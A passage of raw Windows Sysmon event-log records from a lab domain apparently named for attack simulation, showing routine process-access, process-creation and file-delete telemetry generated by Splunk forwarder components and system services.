RNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015904Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015903Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015902Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015901Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015900Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015899Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-71E7-613B-E704-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015898Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E7-613B-E704-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015897Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.762{625C326B-71E7-613B-E704-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000015896Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.433{625C326B-71E7-613B-E604-00000000F101}39161956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015895Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.261{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=136AA8B0935708F7DEE79B70F53604FD,SHA256=74CAB138C3B1A58638F4DAFC3B05C1A559BFF44AFA15590E4DA405003F81C437,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:35.212{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=046A87D504C1721F450D6494876C43F1,SHA256=DA6262C54CE26BEF1322C39BC7023253958C5C74F0AE340CB1CE5B4BCE98E4F0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015894Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E7-613B-E604-00000000F101}3916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015893Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015892Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015891Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015890Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015889Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015888Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015887Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015886Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015885Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015884Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-71E7-613B-E604-00000000F101}3916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015883Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.245{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E7-613B-E604-00000000F101}3916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015882Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.246{625C326B-71E7-613B-E604-00000000F101}3916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015881Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.026{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1137FD9718B7FAD69A2A69B57A9EAD38,SHA256=DA4B17AA9939307D01ABD4E43752FEA7A8CABF0701795AC6A0424BBE1ABADE67,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015925Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.511{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E1678B04DE084D17D4119335EBEC2AB5,SHA256=6FBCC86201A5B08AA009BD58B90772F09D58ADD551FA0C7F4B240A0A4C059A9A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:36.228{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D6C078AE1B3080DA76EF0BBC85496C96,SHA256=9142EC6244FCE12DEF53A745DD3E6913FC13F0FE99154D923198DFD37EFDB295,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015924Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E8-613B-E804-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015923Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6910C4FD3CBF34D28FFBAAB1D339162D,SHA256=D4297793BED8C79A8B73DA2E38D4B98AC2509BBD6A9288BF7A3B88C6335E1C55,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015922Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015921Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 